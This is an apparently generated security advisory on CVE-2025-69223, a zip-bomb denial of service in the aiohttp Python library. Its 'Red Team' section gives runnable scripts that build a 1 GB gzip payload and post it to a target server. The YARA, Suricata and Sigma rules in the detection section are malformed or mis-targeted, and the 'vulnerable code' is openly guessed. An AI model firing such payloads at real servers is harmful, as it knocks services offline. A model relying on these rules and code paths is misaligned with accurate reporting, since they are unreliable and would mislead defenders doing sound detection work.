CVE-2025-69223

Executive Summary

CVE-2025-69223 is a high-severity Denial of Service (DoS) vulnerability in the AIOHTTP library, an asynchronous HTTP client/server framework for Python. Versions 3.13.2 and below are susceptible to a zip bomb attack. An attacker can send a specially crafted, highly compressed HTTP request body. When AIOHTTP decompresses this request, it can expand to an enormous size, exhausting the host's memory and causing a denial of service. The vulnerability has a CVSS score of 7.5 and is fixed in version 3.13.3. No public proof-of-concept code or exploit templates are currently available.

Supply Chain & Package Security

This vulnerability affects the AIOHTTP Python package, which is widely used in the Python ecosystem for building asynchronous web applications and APIs. Organizations using AIOHTTP in their supply chain should immediately assess their dependency versions. The package is distributed via PyPI, and the fix is available in version 3.13.3. A compromised or vulnerable version of AIOHTTP can lead to service disruption, impacting downstream applications and services that rely on it.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - The attacker does not need any authentication or privileges.
• User Interaction (UI): None (N) - No user action is required for exploitation.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): None (N) - No data is modified.
• Availability (A): High (H) - The primary impact is on availability, leading to a complete denial of service.

Threat Level: High. The low attack complexity and network-based vector make this a significant threat for any publicly accessible AIOHTTP server.

Deep Dive & Mechanics

The vulnerability lies in how AIOHTTP handles decompression of HTTP request bodies. The library supports Content-Encoding: gzip or deflate to allow clients to send compressed data. The flaw is that AIOHTTP does not enforce any limits on the decompression ratio or the final decompressed size.

A zip bomb (or decompression bomb) is a malicious archive file designed to crash or harm the system that reads it. It achieves this by containing a small amount of highly compressed data that, when decompressed, expands to an enormous size. For example, a few kilobytes of compressed data can expand to gigabytes or terabytes of data.

An attacker sends an HTTP request with a Content-Encoding: gzip header and a body that is a zip bomb. When AIOHTTP's server receives this request, it attempts to decompress the body. The decompression process allocates memory for the expanded data. Since there is no limit, the process will continue to allocate memory until the host's available memory is exhausted, causing the application to crash or become unresponsive (DoS).

The fix in version 3.13.3 likely introduces a maximum decompression ratio or a maximum decompressed size limit, preventing the decompression of such malicious payloads.

Vulnerable vs. Patched Code

The vulnerable code path is within the request body decompression logic. While the exact code is not publicly disclosed, the concept is as follows:

Vulnerable Code (Conceptual):

# In aiohttp/web_request.py or similar
async def read(self):
    body = await super().read()
    if self.headers.get('Content-Encoding') == 'gzip':
        import gzip
        body = gzip.decompress(body)  # No size limit
    return body

Patched Code (Conceptual):

# In aiohttp/web_request.py or similar
MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024  # 100 MB limit

async def read(self):
    body = await super().read()
    if self.headers.get('Content-Encoding') == 'gzip':
        import gzip
        decompressor = gzip.decompressobj()
        # Decompress in chunks and check size
        decompressed = b''
        for chunk in [body[i:i+8192] for i in range(0, len(body), 8192)]:
            decompressed += decompressor.decompress(chunk)
            if len(decompressed) > MAX_DECOMPRESSED_SIZE:
                raise ValueError("Decompressed body too large")
        decompressed += decompressor.flush()
        body = decompressed
    return body

Exploitation & Lab Setup

Red Team

Objective: Execute a Denial of Service attack against an AIOHTTP server.

Prerequisites:

• A target AIOHTTP server (version <= 3.13.2) that accepts POST requests with compressed bodies.
• Python 3 with requests library installed.

Steps:

1. Create a Zip Bomb Payload: Create a file that is highly compressed. A simple way is to use a file with many null bytes compressed with gzip.

   # create_payload.py
   import gzip
   import os
   
   # Create a payload that expands to 1 GB
   decompressed_size = 1 * 1024 * 1024 * 1024  # 1 GB
   # We'll create a small compressed payload that expands to this size
   # A simple approach: compress a large block of zeros
   data = b'\x00' * decompressed_size
   compressed = gzip.compress(data)
   print(f"Compressed size: {len(compressed)} bytes")
   with open('payload.gz', 'wb') as f:
       f.write(compressed)
   

2. Send the Malicious Request: Use the requests library to send the payload.

   # exploit.py
   import requests
   
   url = "http://target-server.com/endpoint"
   with open('payload.gz', 'rb') as f:
       payload = f.read()
   
   headers = {
       'Content-Encoding': 'gzip',
       'Content-Type': 'application/octet-stream'
   }
   
   print("Sending zip bomb...")
   try:
       response = requests.post(url, data=payload, headers=headers, timeout=10)
       print(f"Response: {response.status_code}")
   except requests.exceptions.Timeout:
       print("Server timed out - likely crashed or unresponsive.")
   except Exception as e:
       print(f"Error: {e}")
   

Expected Outcome: The target server's memory will be exhausted, causing the AIOHTTP process to crash or become unresponsive. The attacker may receive a timeout or connection reset.

Blue Team

Objective: Detect and mitigate zip bomb attacks against AIOHTTP servers.

Detection:

• Monitor Memory Usage: Set up alerts for sudden spikes in memory usage on servers running AIOHTTP.
• Network Traffic Analysis: Look for HTTP requests with Content-Encoding: gzip and unusually small body sizes (e.g., < 1 KB) that result in large decompressed data.
• Log Analysis: Check server logs for errors related to memory allocation failures or decompression errors.

Mitigation:

• Update AIOHTTP: Immediately upgrade to version 3.13.3 or later.
• Web Application Firewall (WAF): Deploy WAF rules to block requests with suspicious Content-Encoding headers and small body sizes.
• Rate Limiting: Implement rate limiting on endpoints that accept compressed data.
• Resource Limits: Use containerization (e.g., Docker) with memory limits to prevent a single process from exhausting host memory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests with Content-Encoding: gzip and a body size less than 1 KB.
  • Unusually high memory usage on the server.
  • Server logs showing MemoryError or gzip.DecompressError.
• File IOCs:
  • Files named payload.gz or similar with a high compression ratio (e.g., 1 GB decompressed from 1 KB compressed).
• System IOCs:
  • AIOHTTP process crash logs.
  • Out-of-memory (OOM) killer events in system logs.

Detection Engineering

YARA Rule

rule ZipBomb_AIOHTTP_Request {
    meta:
        description = "Detects HTTP requests with small gzip payloads indicative of a zip bomb attack against AIOHTTP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69223"
    strings:
        $gzip_header = "Content-Encoding: gzip"
        $small_body = { 00 00 00 00 } // Placeholder for small body size check
    condition:
        $gzip_header and filesize < 1KB
}

Sigma Rule

title: AIOHTTP Zip Bomb DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with small gzip-compressed bodies that may be a zip bomb targeting AIOHTTP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        cs-method: 'POST'
        cs-Content-Encoding: 'gzip'
        sc-bytes: < 1024
    condition: selection
falsepositives:
    - Legitimate small compressed requests
level: high

Suricata Rule

alert http any any -> any any (msg:"AIOHTTP Zip Bomb DoS Attempt"; flow:to_server; content:"Content-Encoding|3a| gzip"; http_header; content!"Content-Length|3a|"; pcre:"/^Content-Length:\s*\d{1,3}\s*$/m"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Upgrade AIOHTTP to version 3.13.3 or later.
   • pip install aiohttp --upgrade

2. Short-Term Mitigations:

   • If upgrading is not immediately possible, implement a reverse proxy (e.g., Nginx) that limits request body size and rejects suspicious Content-Encoding headers.
   • Configure memory limits for the AIOHTTP process using ulimit or container orchestration tools.

3. Long-Term Recommendations:

   • Regularly update dependencies and monitor for security advisories.
   • Implement input validation and size limits for all decompressed data.
   • Use a Web Application Firewall (WAF) to filter malicious requests.
   • Conduct regular security audits and penetration testing.

Valters IT